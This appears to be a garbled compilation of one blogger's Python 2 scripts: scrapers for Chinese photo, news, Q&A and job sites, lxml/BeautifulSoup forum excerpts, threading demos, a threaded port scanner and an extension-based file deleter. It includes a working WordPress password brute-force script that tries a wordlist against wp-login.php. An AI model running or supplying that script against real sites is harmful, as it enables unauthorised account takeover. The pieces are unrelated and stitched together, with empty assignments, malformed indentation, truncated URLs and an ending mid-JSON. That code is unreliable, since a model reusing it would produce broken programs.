if df is None:

        print "None len==0"

        return False

__author__ = 'rocky'

import urllib,urllib2,StringIO,gzip

url="http://image.xitek.com/photo/2 ... ot%3B

filname=url.split("/")[-1]

req=urllib2.Request(url)

resp=urllib2.urlopen(req)

content=resp.read()

#data = StringIO.StringIO(content)

#gzipper = gzip.GzipFile(fileobj=data)

#html = gzipper.read()

f=open(filname,'w')

f.write()

f.close()

__author__ = 'rocchen'

# working v1.0

from bs4 import BeautifulSoup

import urllib2, datetime, time, codecs, cookielib, random, threading

import os,sys





def getInfo(max_index_user=5):

    stock_news_site =

"http://ggjd.cnstock.com/gglist/search/ggkx/"

 

    my_userAgent = [

        'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50',

        'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50',

        'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0',

        'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)',

        'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)',

        'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',

        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1',

        'Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1',

        'Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; en) Presto/2.8.131 Version/11.11',

        'Opera/9.80 (Windows NT 6.1; U; en) Presto/2.8.131 Version/11.11',

        'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon 2.0)',

        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11',

        'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)',

        'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SE 2.X MetaSr 1.0; SE 2.X MetaSr 1.0; .NET CLR 2.0.50727; SE 2.X MetaSr 1.0)']

    index = 0

    max_index = max_index_user

    num = 1

    temp_time = time.strftime("[%Y-%m-%d]-[%H-%M]", time.localtime())



    store_filename = "StockNews-%s.log" % temp_time

    fOpen = codecs.open(store_filename, 'w', 'utf-8')



    while index < max_index:

        user_agent = random.choice(my_userAgent)

        # print user_agent

        company_news_site = stock_news_site + str(index)

        # content = urllib2.urlopen(company_news_site)

        headers = {'User-Agent': user_agent, 'Host': "ggjd.cnstock.com", 'DNT': '1',

                   'Accept': 'text/html, application/xhtml+xml, */*', }

        req = urllib2.Request(url=company_news_site, headers=headers)

        resp = None

        raw_content = ""

        try:

            resp = urllib2.urlopen(req, timeout=30)



        except urllib2.HTTPError as e:

            e.fp.read()

        except urllib2.URLError as e:

            if hasattr(e, 'code'):

                print "error code %d" % e.code

            elif hasattr(e, 'reason'):

                print "error reason %s " % e.reason



        finally:

            if resp:

                raw_content = resp.read()

                time.sleep(2)

                resp.close()



        soup = BeautifulSoup(raw_content, "html.parser")

        all_content = soup.find_all("span", "time")



        for i in all_content:

            news_time = i.string

            node = i.next_sibling

            str_temp = "No.%s \n%s\t%s\n---> %s \n\n" % (str(num), news_time, node['title'], node['href'])

            #print "inside %d" %num

            #print str_temp

            fOpen.write(str_temp)

            num = num + 1



        #print "index %d" %index

        index = index + 1



    fOpen.close()





def execute_task(n=60):

    period = int(n)

    while True:

        print datetime.datetime.now()

        getInfo(3)

        

        time.sleep(60 * period)

        





if __name__ == "__main__":



    sub_folder = os.path.join(os.getcwd(), "stock")

    if not os.path.exists(sub_folder):

        os.mkdir(sub_folder)

    os.chdir(sub_folder)

    start_time = time.time()  # user can change the max index number getInfo(10), by default is getInfo(5)

    if len(sys.argv) <2:

        n = raw_input("Input Period : ? mins to download every cycle")

    else:

        n=int(sys.argv[1])

    execute_task(n)

    end_time = time.time()

    print "Total time: %s s." % str(round((end_time - start_time), 4))

Don't use BeautifulSoup, use lxml.soupparser then you're sitting on top of the power of lxml and can use the good bits of BeautifulSoup which is to deal with really broken and crappy HTML.
 
 
 
9down vote
In summary, 

lxml

 is positioned as a lightning-fast production-quality html and xml parser that, by the way, also includes a 

soupparser

 module to fall back on BeautifulSoup's functionality. 

BeautifulSoup

is a one-person project, designed to save you time to quickly extract data out of poorly-formed html or xml.
lxml documentation says that both parsers have advantages and disadvantages. For this reason, 

lxml

 provides a 

soupparser

 so you can switch back and forth. Quoting,
[quote]
BeautifulSoup uses a different parsing approach. It is not a real HTML parser but uses regular expressions to dive through tag soup. It is therefore more forgiving in some cases and less good in others. It is not uncommon that lxml/libxml2 parses and fixes broken HTML better, but BeautifulSoup has superiour support for encoding detection. It very much depends on the input which parser works better.

The downside of using this parser is that it is much slower than the HTML parser of lxml. So if performance matters, you might want to consider using soupparser only as a fallback for certain cases.

lxml

BeautifulSoup

soupparser

lxml

BeautifulSoup

lxml

[code]>>> from BeautifulSoup import UnicodeDammit



>>> def decode_html(html_string):

...     converted = UnicodeDammit(html_string, isHTML=True)

...     if not converted.unicode:

...         raise UnicodeDecodeError(

...             "Failed to detect encoding, tried [%s]",

...             ', '.join(converted.triedEncodings))

...     # print converted.originalEncoding

...     return converted.unicode



>>> root = lxml.html.fromstring(decode_html(tag_soup))

BeautifulSoup

That's it! Have fun! I wrote Beautiful Soup to save everybody time. Once you get used to it, you should be able to wrangle data out of poorly-designed websites in just a few minutes. Send me email if you have any comments, run into problems, or want me to know about your project that uses Beautiful Soup.

[code] --Leonard

[/code]

lxml has been downloaded from the Python Package Index more than two million times and is also available directly in many package distributions, e.g. for Linux or MacOS-X.

The C libraries libxml2 and libxslt have huge benefits:... Standards-compliant... Full-featured... fast. fast! FAST! ... lxml is a new Python binding for libxml2 and libxslt...

#-*-coding=utf-8-*-

__author__ = 'rocky chen'

from bs4 import BeautifulSoup

import urllib2,sys,StringIO,gzip,time,random,re,urllib,os

reload(sys)

sys.setdefaultencoding('utf-8')

class Xitek():

    def __init__(self):

        self.url="http://photo.xitek.com/"

        user_agent="Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

        self.headers={"User-Agent":user_agent}

        self.last_page=self.__get_last_page()





    def __get_last_page(self):

        html=self.__getContentAuto(self.url)

        bs=BeautifulSoup(html,"html.parser")

        page=bs.find_all('a',class_="blast")

        last_page=page[0]['href'].split('/')[-1]

        return int(last_page)





    def __getContentAuto(self,url):

        req=urllib2.Request(url,headers=self.headers)

        resp=urllib2.urlopen(req)

        #time.sleep(2*random.random())

        content=resp.read()

        info=resp.info().get("Content-Encoding")

        if info==None:

            return content

        else:

            t=StringIO.StringIO(content)

            gziper=gzip.GzipFile(fileobj=t)

            html = gziper.read()

            return html



    #def __getFileName(self,stream):





    def __download(self,url):

        p=re.compile(r'href="(/photoid/\d+)"')

        #html=self.__getContentNoZip(url)



        html=self.__getContentAuto(url)



        content = p.findall(html)

        for i in content:

            print i



            photoid=self.__getContentAuto(self.url+i)

            bs=BeautifulSoup(photoid,"html.parser")

            final_link=bs.find('img',class_="mimg")['src']

            print final_link

            #pic_stream=self.__getContentAuto(final_link)

            title=bs.title.string.strip()

            filename = re.sub('[\/:*?"<>|]', '-', title)

            filename=filename+'.jpg'

            urllib.urlretrieve(final_link,filename)

            #f=open(filename,'w')

            #f.write(pic_stream)

            #f.close()

        #print html

        #bs=BeautifulSoup(html,"html.parser")

        #content=bs.find_all(p)

        #for i in content:

        #    print i

        '''

        print bs.title

        element_link=bs.find_all('div',class_="element")

        print len(element_link)

        k=1

        for href in element_link:



            #print type(href)

            #print href.tag

        '''

        '''

            if href.children[0]:

                print href.children[0]

        '''

        '''

            t=0



            for i in href.children:

                #if i.a:

                if t==0:

                    #print k

                    if i['href']

                    print link



                        if p.findall(link):

                            full_path=self.url[0:len(self.url)-1]+link

                            sub_html=self.__getContent(full_path)

                            bs=BeautifulSoup(sub_html,"html.parser")

                            final_link=bs.find('img',class_="mimg")['src']

                            #time.sleep(2*random.random())

                            print final_link

                    #k=k+1

                #print type(i)

                #print i.tag

                #if hasattr(i,"href"):

                    #print i['href']

                #print i.tag

                t=t+1

                #print "*"



        '''



        '''

            if href:

                if href.children:

                    print href.children[0]

        '''

            #print "one element link"







    def getPhoto(self):



        start=0

        #use style/0

        photo_url="http://photo.xitek.com/style/0/p/"

        for i in range(start,self.last_page+1):

            url=photo_url+str(i)

            print url

            #time.sleep(1)

            self.__download(url)



        '''

        url="http://photo.xitek.com/style/0/p/10"

        self.__download(url)

        '''

        #url="http://photo.xitek.com/style/0/p/0"

        #html=self.__getContent(url)

        #url="http://photo.xitek.com/"

        #html=self.__getContentNoZip(url)

        #print html

        #'''

def main():

    sub_folder = os.path.join(os.getcwd(), "content")

    if not os.path.exists(sub_folder):

        os.mkdir(sub_folder)

    os.chdir(sub_folder)

    obj=Xitek()

    obj.getPhoto()





if __name__=="__main__":

    main()

    list=[1,2,3,5,4,6,434,2323,333,99999]

    print "max of list is ",

    print max(list)

#-*-coding=utf-8-*-

__author__ = 'rocchen'

from lxml import html

from lxml import etree

import urllib2



def lxml_test():

    url="http://www.caixunzz.com"

    req=urllib2.Request(url=url)

    resp=urllib2.urlopen(req)

    #print resp.read()



    tree=etree.HTML(resp.read())

    href=tree.xpath('//a[@class="label"]/@href')

    #print href.tag

    for i in href:

        #print html.tostring(i)

        #print type(i)

        print i



    print type(href)



lxml_test()

>>> x = { }

>>> y = x

>>> x = { 'a' : 'b' }

>>> y

>>> { }

>>> x = { }

>>> y = x

>>> x['a'] = 'b'

>>> y

>>> { 'a' : 'b' }

p = subprocess.Popen(cmd, stdout = subprocess.PIPE, stdin = subprocess.PIPE, shell = True)

p.wait()

// hang here

print "finished"

p = subprocess.Popen(cmd, stdout = subprocess.PIPE, stdin = subprocess.PIPE, shell = True)

stdout, stderr = p.communicate()

p.wait()

print "Finsih"

# -*- coding=utf-8 -*-

__author__ = 'rocky @ www.30daydo.com'

import urllib2, re, os, codecs,sys,datetime

from bs4 import BeautifulSoup

# example https://zhhrb.sinaapp.com/index.php?date=20160610

from mail_template import MailAtt

reload(sys)

sys.setdefaultencoding('utf-8')



def save2file(filename, content):

    filename = filename + ".txt"

    f = codecs.open(filename, 'a', encoding='utf-8')

    f.write(content)

    f.close()





def getPost(date_time, filter_p):

    url = 'https://zhhrb.sinaapp.com/index.php?date=' + date_time

    user_agent = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

    header = {"User-Agent": user_agent}

    req = urllib2.Request(url, headers=header)

    resp = urllib2.urlopen(req)

    content = resp.read()

    p = re.compile('<h2 class="question-title">(.*)</h2></br></a>')

    result = re.findall(p, content)

    count = -1

    row = -1

    for i in result:

        #print i

        return_content = re.findall(filter_p, i)



        if return_content:

            row = count

            break

            #print return_content[0]

        count = count + 1

    #print row

    if row == -1:

        return 0

    link_p = re.compile('<a href="(.*)" target="_blank" rel="nofollow">')

    link_result = re.findall(link_p, content)[row + 1]

    print link_result

    result_req = urllib2.Request(link_result, headers=header)

    result_resp = urllib2.urlopen(result_req)

    #result_content= result_resp.read()

    #print result_content



    bs = BeautifulSoup(result_resp, "html.parser")

    title = bs.title.string.strip()

    #print title

    filename = re.sub('[\/:*?"<>|]', '-', title)

    print filename

    print date_time

    save2file(filename, title)

    save2file(filename, "\n\n\n\n--------------------%s Detail----------------------\n\n" %date_time)



    detail_content = bs.find_all('div', class_='content')



    for i in detail_content:

        #print i

        save2file(filename,"\n\n-------------------------answer  -------------------------\n\n")

        for j in i.strings:



            save2file(filename, j)



    smtp_server = 'smtp.126.com'

    from_mail = sys.argv[1]

    password = sys.argv[2]

    to_mail = 'xxxxx@kindle.cn'

    send_kindle = MailAtt(smtp_server, from_mail, password, to_mail)

    send_kindle.send_txt(filename)





def main():

    sub_folder = os.path.join(os.getcwd(), "content")

    if not os.path.exists(sub_folder):

        os.mkdir(sub_folder)

    os.chdir(sub_folder)





    date_time = '20160611'

    filter_p = re.compile('大误.*')

    ori_day=datetime.date(datetime.date.today().year,01,01)

    t=datetime.date(datetime.date.today().year,datetime.date.today().month,datetime.date.today().day)

    delta=(t-ori_day).days

    print delta

    for i in range(delta):

        day=datetime.date(datetime.date.today().year,01,01)+datetime.timedelta(i)

        getPost(day.strftime("%Y%m%d"),filter_p)

    #getPost(date_time, filter_p)



if __name__ == "__main__":

    main()

import os



def isContain(des_str,ori_str):

	for i in des_str:

		if ori_str == i:

			return True

	return False





path=os.getcwd()

print path

des_str=['img','cfg','bct','bin','sh','dtb','txt','mk','pem','mk','pk8','xml','lib','pl','blob','dat']

for fpath,dirs,fname in os.walk(path):

	#print fname

	

	if fname:

		for i in fname:

			#print i

			name=i.split('.')

			if len(name)>=2:

				#print name[1]

				if isContain(des_str,name[1]):

					filepath=os.path.join(fpath,i)

					print "delete file %s" %filepath

					os.remove(filepath)

# -*-coding=utf-8-*-

#抓取雪球的收藏文章

__author__ = 'Rocky'

import requests,cookielib,re,json,time

from toolkit import Toolkit

from lxml import etree

url='https://xueqiu.com/snowman/login'

session = requests.session()



session.cookies = cookielib.LWPCookieJar(filename="cookies")

try:

    session.cookies.load(ignore_discard=True)

except:

    print "Cookie can't load"



agent = 'Mozilla/5.0 (Windows NT 5.1; rv:33.0) Gecko/20100101 Firefox/33.0'

headers = {'Host': 'xueqiu.com',

           'Referer': 'https://xueqiu.com/',

           'Origin':'https://xueqiu.com',

           'User-Agent': agent}

account=Toolkit.getUserData('data.cfg')

print account['snowball_user']

print account['snowball_password']



data={'username':account['snowball_user'],'password':account['snowball_password']}

s=session.post(url,data=data,headers=headers)

print s.status_code

#print s.text

session.cookies.save()

fav_temp='https://xueqiu.com/favs?page=1'

collection=session.get(fav_temp,headers=headers)

fav_content= collection.text

p=re.compile('"maxPage":(\d+)')

maxPage=p.findall(fav_content)[0]

print maxPage

print type(maxPage)

maxPage=int(maxPage)

print type(maxPage)

for i in range(1,maxPage+1):

    fav='https://xueqiu.com/favs?page=%d' %i

    collection=session.get(fav,headers=headers)

    fav_content= collection.text

    #print fav_content

    p=re.compile('var favs = {(.*?)};',re.S|re.M)

    result=p.findall(fav_content)[0].strip()



    new_result='{'+result+'}'

    #print type(new_result)

    #print new_result

    data=json.loads(new_result)

    use_data= data['list']

    host='https://xueqiu.com'

    for i in use_data:

        url=host+ i['target']

        print url

        txt_content=session.get(url,headers=headers).text

        #print txt_content.text



        tree=etree.HTML(txt_content)

        title=tree.xpath('//title/text()')[0]



        filename = re.sub('[\/:*?"<>|]', '-', title)

        print filename



        content=tree.xpath('//div[@class="detail"]')

        for i in content:

            Toolkit.save2filecn(filename, i.xpath('string(.)'))

        #print content

        #Toolkit.save2file(filename,)

        time.sleep(10)

import socket,sys

import time

from thread_test import MyThread



socket.setdefaulttimeout(1)

#设置每个线程socket的timeou时间，超过1秒没有反应就认为端口不开放

thread_num=4

#线程数目 

ip_end=256

ip_start=0

scope=ip_end/thread_num



def scan(ip_head,ip_low, port):

    try:

        # Alert !!! below statement should be inside scan function. Else each it is one s

        ip=ip_head+str(ip_low)

	print ip

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

	s.connect((ip, port))

	#通过这一句判断 是否连通

        s.close()

	print "ip %s port %d open\n" %(ip,port)

        return True

    except:

        return False





def scan_range(ip_head,ip_range,port):

	start,end=ip_range

	for i in range(start,end):

		scan(ip_head,i,port)



if len(sys.argv)<3:

	print "input ip and port"

	exit()



ip_head=sys.argv[1]

port=int(sys.argv[2])





ip_range=

for i in range(thread_num):

	x_range=[i*scope,(i+1)*scope-1]

	ip_range.append(x_range)



threads=

for i in range(thread_num):

	t=MyThread(scan_range,(ip_head,ip_range,port))

	threads.append(t)

for i in range(thread_num):

	threads.start()

for i in range(thread_num):

	threads.join()

	#设置进程阻塞，防止主线程退出了，其他的多线程还在运行



print "*****end*****"

import thread,threading,time,datetime

from time import sleep,ctime

def loop1():

	print "start %s " %ctime()

	print "start in loop1"

	sleep(3)

	print "end %s " %ctime()



def loop2():

	print "sart %s " %ctime()

	print "start in loop2"

	sleep(6)

	print "end %s " %ctime()





class MyThread(threading.Thread):

	def __init__(self,fun,arg,name=""):

		threading.Thread.__init__(self)

		self.fun=fun

		self.arg=arg

		self.name=name

		#self.result



	def run(self):

		self.result=apply(self.fun,self.arg)

	

	def getResult(self):

		return self.result



def fib(n):

	if n<2:

		return 1

	else:

		return fib(n-1)+fib(n-2)





def sum(n):

	if n<2:

		return 1

	else:

		return n+sum(n-1)	



def fab(n):

	if n<2:

		return 1

	else:

		return n*fab(n-1)



def single_thread():		

	print fib(12)		

	print sum(12)

	print fab(12)





def multi_thread():

	print "in multithread"

	fun_list=[fib,sum,fab]

	n=len(fun_list)

	threads=

	count=12

	for i in range(n):

		t=MyThread(fun_list,(count,),fun_list.__name__)

		threads.append(t)

	for i in range(n):

		threads.start()



	for i in range(n):

		threads.join()

		result= threads.getResult()

		print result

def main():

	'''

	print "start at main"

	thread.start_new_thread(loop1,())

	thread.start_new_thread(loop2,())

	sleep(10)

	print "end at main"

	'''

	start=ctime()

	#print "Used %f" %(end-start).seconds

	print start	

	single_thread()

	end=ctime()

	print end

	multi_thread()

	#print "used %s" %(end-start).seconds 

if __name__=="__main__":

	main()

# coding=utf-8

# 破解wordpress 后台用户密码

import urllib, urllib2, time, re, cookielib,sys





class wordpress():

    def __init__(self, host, username):

		#初始化定义 header ，避免被服务器屏蔽

        self.username = username

        self.http="http://"+host

        self.url =  self.http + "/wp-login.php"

        self.redirect = self.http + "/wp-admin/"

        self.user_agent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)'

        self.referer=self.http+"/wp-login.php"

        self.cook="wordpress_test_cookie=WP+Cookie+check"

        self.host=host

        self.headers = {'User-Agent': self.user_agent,"Cookie":self.cook,"Referer":self.referer,"Host":self.host}

        self.cookie = cookielib.CookieJar()

        self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie))





    def crash(self, filename):

        try:

            pwd = open(filename, 'r')

			#读取密码文件，密码文件中密码越多破解的概率越大

            while 1 :

                i=pwd.readline()

                if not i :

                    break



                data = urllib.urlencode(

                    {"log": self.username, "pwd": i.strip(), "testcookie": "1", "redirect_to": self.redirect})

                Req = urllib2.Request(url=self.url, data=data, headers=self.headers)

				#构造好数据包之后提交给wordpress网站后台

                Resp = urllib2.urlopen(Req)

                result = Resp.read()

                # print result

                login = re.search(r'login_error', result)

				#判断返回来的字符串，如果有login error说明失败了。

                if login:

                    pass

                else:

                    print "Crashed! password is %s %s" % (self.username,i.strip())

                    g=open("wordpress.txt",'w+')

                    g.write("Crashed! password is %s %s" % (self.username,i.strip()))

                    pwd.close()

                    g.close()

					#如果匹配到密码， 则这次任务完成，退出程序

                    exit()

                    break



            pwd.close()



			except Exception, e:

            print "error"

            print e

            print "Error in reading password"





if __name__ == "__main__":

    print "begin at " + time.ctime()

    host=sys.argv[1]

    #url = "http://"+host

	#给程序提供参数，为你要破解的网址

    user = sys.argv[2]

    dictfile=sys.argv[3]

	#提供你事先准备好的密码文件

    obj = wordpress(host, user)

    #obj.check(dictfile)

    obj.crash(dictfile)

    #obj.crash_v()

    print "end at " + time.ctime()

# -*-coding=utf-8-*-

__author__ = 'Rocky'

# -*-coding=utf-8-*-

from email.mime.text import MIMEText

from email.mime.multipart import MIMEMultipart

import smtplib

from email import Encoders, Utils

import urllib2

import time

import re

import sys

import os



from bs4 import BeautifulSoup



from email.Header import Header



reload(sys)

sys.setdefaultencoding('utf-8')





class GetContent():

    def __init__(self, id):



        # 给出的第一个参数 就是你要下载的问题的id

        # 比如 想要下载的问题链接是 https://www.zhihu.com/question/29372574

        # 那么 就输入 python zhihu.py 29372574



        id_link = "/question/" + id

        self.getAnswer(id_link)



    def save2file(self, filename, content):

        # 保存为电子书文件

        filename = filename + ".txt"

        f = open(filename, 'a')

        f.write(content)

        f.close()



    def getAnswer(self, answerID):

        host = "http://www.zhihu.com"

        url = host + answerID

        print url

        user_agent = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

        # 构造header 伪装一下

        header = {"User-Agent": user_agent}

        req = urllib2.Request(url, headers=header)



        try:

            resp = urllib2.urlopen(req)

        except:

            print "Time out. Retry"

            time.sleep(30)

            # try to switch with proxy ip

            resp = urllib2.urlopen(req)

        # 这里已经获取了 网页的代码，接下来就是提取你想要的内容。 使用beautifulSoup 来处理，很方便

        try:

            bs = BeautifulSoup(resp)



        except:

            print "Beautifulsoup error"

            return None



        title = bs.title

        # 获取的标题



        filename_old = title.string.strip()

        print filename_old

        filename = re.sub('[\/:*?"<>|]', '-', filename_old)

        # 用来保存内容的文件名，因为文件名不能有一些特殊符号，所以使用正则表达式过滤掉



        self.save2file(filename, title.string)





        detail = bs.find("div", class_="zm-editable-content")



        self.save2file(filename, "\n\n\n\n--------------------Detail----------------------\n\n")

        # 获取问题的补充内容



        if detail is not None:



            for i in detail.strings:

                self.save2file(filename, unicode(i))



        answer = bs.find_all("div", class_="zm-editable-content clearfix")

        k = 0

        index = 0

        for each_answer in answer:



            self.save2file(filename, "\n\n-------------------------answer %s via  -------------------------\n\n" % k)



            for a in each_answer.strings:

                # 循环获取每一个答案的内容，然后保存到文件中

                self.save2file(filename, unicode(a))

            k += 1

            index = index + 1



        smtp_server = 'smtp.126.com'

        from_mail = 'your@126.com'

        password = 'yourpassword'

        to_mail = 'yourname@kindle.cn'



        # send_kindle=MailAtt(smtp_server,from_mail,password,to_mail)

        # send_kindle.send_txt(filename)



        # 调用发送邮件函数，把电子书发送到你的kindle用户的邮箱账号，这样你的kindle就可以收到电子书啦

        print filename





class MailAtt():

    def __init__(self, smtp_server, from_mail, password, to_mail):

        self.server = smtp_server

        self.username = from_mail.split("@")[0]

        self.from_mail = from_mail

        self.password = password

        self.to_mail = to_mail



        # 初始化邮箱设置



    def send_txt(self, filename):

        # 这里发送附件尤其要注意字符编码，当时调试了挺久的，因为收到的文件总是乱码

        self.smtp = smtplib.SMTP()

        self.smtp.connect(self.server)

        self.smtp.login(self.username, self.password)

        self.msg = MIMEMultipart()

        self.msg['to'] = self.to_mail

        self.msg['from'] = self.from_mail

        self.msg['Subject'] = "Convert"

        self.filename = filename + ".txt"

        self.msg['Date'] = Utils.formatdate(localtime=1)

        content = open(self.filename.decode('utf-8'), 'rb').read()

        # print content

        self.att = MIMEText(content, 'base64', 'utf-8')

        self.att['Content-Type'] = 'application/octet-stream'

        # self.att["Content-Disposition"] = "attachment;filename=\"%s\"" %(self.filename.encode('gb2312'))

        self.att["Content-Disposition"] = "attachment;filename=\"%s\"" % Header(self.filename, 'gb2312')

        # print self.att["Content-Disposition"]

        self.msg.attach(self.att)



        self.smtp.sendmail(self.msg['from'], self.msg['to'], self.msg.as_string())

        self.smtp.quit()





if __name__ == "__main__":



    sub_folder = os.path.join(os.getcwd(), "content")

    # 专门用于存放下载的电子书的目录



    if not os.path.exists(sub_folder):

        os.mkdir(sub_folder)



    os.chdir(sub_folder)



    id = sys.argv[1]

    # 给出的第一个参数 就是你要下载的问题的id

    # 比如 想要下载的问题链接是 https://www.zhihu.com/question/29372574

    # 那么 就输入 python zhihu.py 29372574





    # id_link="/question/"+id

    obj = GetContent(id)

    # obj.getAnswer(id_link)



    # 调用获取函数



    print "Done"

# -*-coding=utf-8-*-

__author__ = 'Rocky'

import requests

import cookielib

import re

import json

import time

import os

from getContent import GetContent

agent='Mozilla/5.0 (Windows NT 5.1; rv:33.0) Gecko/20100101 Firefox/33.0'

headers={'Host':'www.zhihu.com',

         'Referer':'https://www.zhihu.com',

         'User-Agent':agent}



#全局变量

session=requests.session()



session.cookies=cookielib.LWPCookieJar(filename="cookies")



try:

    session.cookies.load(ignore_discard=True)

except:

    print "Cookie can't load"



def isLogin():

    url='https://www.zhihu.com/settings/profile'

    login_code=session.get(url,headers=headers,allow_redirects=False).status_code

    print login_code

    if login_code == 200:

        return True

    else:

        return False



def get_xsrf():

    url='http://www.zhihu.com'

    r=session.get(url,headers=headers,allow_redirects=False)

    txt=r.text

    result=re.findall(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"/>',txt)[0]

    return result



def getCaptcha():

    #r=1471341285051

    r=(time.time()*1000)

    url='http://www.zhihu.com/captcha.gif?r='+str(r)+'&type=login'



    image=session.get(url,headers=headers)

    f=open("photo.jpg",'wb')

    f.write(image.content)

    f.close()





def Login():

    xsrf=get_xsrf()

    print xsrf

    print len(xsrf)

    login_url='http://www.zhihu.com/login/email'

    data={

    '_xsrf':xsrf,

    'password':'*',

    'remember_me':'true',

    'email':'*'

    }

    try:

        content=session.post(login_url,data=data,headers=headers)

        login_code=content.text

        print content.status_code

        #this line important ! if no status, if will fail and execute the except part

        #print content.status



        if content.status_code != requests.codes.ok:

            print "Need to verification code !"

            getCaptcha()

            #print "Please input the code of the captcha"

            code=raw_input("Please input the code of the captcha")

            data['captcha']=code

            content=session.post(login_url,data=data,headers=headers)

            print content.status_code



            if content.status_code==requests.codes.ok:

                print "Login successful"

                session.cookies.save()

            #print login_code

        else:

            session.cookies.save()

    except:

        print "Error in login"

        return False



def focus_question():

    focus_id=

    url='https://www.zhihu.com/question/following'

    content=session.get(url,headers=headers)

    print content

    p=re.compile(r'<a class="question_link" href="/question/(\d+)" target="_blank" data-id')

    id_list=p.findall(content.text)

    pattern=re.compile(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"/>')

    result=re.findall(pattern,content.text)[0]

    print result

    for i in id_list:

        print i

        focus_id.append(i)



    url_next='https://www.zhihu.com/node/ProfileFollowedQuestionsV2'

    page=20

    offset=20

    end_page=500

    xsrf=re.findall(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"',content.text)[0]

    while offset < end_page:

        #para='{"offset":20}'

        #print para

        print "page: %d" %offset

        params={"offset":offset}

        params_json=json.dumps(params)



        data={

        'method':'next',

        'params':params_json,

        '_xsrf':xsrf

        }

        #注意上面那里 post的data需要一个xsrf的字段，不然会返回403 的错误，这个在抓包的过程中一直都没有看到提交到xsrf，所以自己摸索出来的

        offset=offset+page

        headers_l={

        'Host':'www.zhihu.com',

        'Referer':'https://www.zhihu.com/question/following',

        'User-Agent':agent,

        'Origin':'https://www.zhihu.com',

        'X-Requested-With':'XMLHttpRequest'

        }

        try:

            s=session.post(url_next,data=data,headers=headers_l)

            #print s.status_code

            #print s.text

            msgs=json.loads(s.text)

            msg=msgs['msg']

            for i in msg:

                id_sub=re.findall(p,i)



                for j in id_sub:

                    print j

                    id_list.append(j)



        except:

            print "Getting Error "





    return id_list



def main():



    if isLogin():

        print "Has login"

    else:

        print "Need to login"

        Login()

    list_id=focus_question()

    for i in list_id:

        print i

        obj=GetContent(i)



    #getCaptcha()

if __name__=='__main__':

    sub_folder=os.path.join(os.getcwd(),"content")

    #专门用于存放下载的电子书的目录



    if not os.path.exists(sub_folder):

        os.mkdir(sub_folder)



    os.chdir(sub_folder)



    main()

post_data = {'first':'true','kd':'Android','pn':'1'}

import requests



url = "http://www.lagou.com/jobs/posi ... ot%3B

return_data=requests.post(url,data=post_data)

print return_data.text

{"code":0,"success":true,"requestId":null,"resubmitToken":null,"msg":null,"content":{"pageNo":1,"pageSize":15,"positionResult":{"totalCount":5000,"pageSize":15,"locationInfo":{"city":null,"district":null,"businessZone":null},"result":[{"createTime":"2016-05-05 17:27:50","companyId":50889,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"和创（北京）科技股份有限公司","city":"北京","salary":"20k-35k","financeStage":"上市公司","positionId":1455217,"companyLogo":"i/image/M00/03/44/Cgp3O1ax7JWAOSzUAABS3OF0A7w289.jpg","positionFirstType":"技术","companyName":"和创科技（红圈营销）","positionAdvantage":"上市公司，持续股权激励政策，技术极客云集","industryField":"移动互联网 · 企业服务","score":1372,"district":"西城区","companyLabelList":["弹性工作","敏捷研发","股票期权","年底双薪"],"deliverCount":13,"leaderName":"刘学臣","companySize":"2000人以上","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462440470000,"positonTypesMap":null,"hrScore":77,"flowScore":148,"showCount":6627,"pvScore":73.2258060280967,"plus":"是","businessZones":["新街口","德胜门","小西天"],"publisherId":994817,"loginTime":1462876049000,"appShow":3141,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":99,"adWord":1,"formatCreateTime":"2016-05-05","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-05 18:30:16","companyId":50889,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"和创（北京）科技股份有限公司","city":"北京","salary":"20k-35k","financeStage":"上市公司","positionId":1440576,"companyLogo":"i/image/M00/03/44/Cgp3O1ax7JWAOSzUAABS3OF0A7w289.jpg","positionFirstType":"技术","companyName":"和创科技（红圈营销）","positionAdvantage":"上市公司，持续股权激励政策，技术爆棚！","industryField":"移动互联网 · 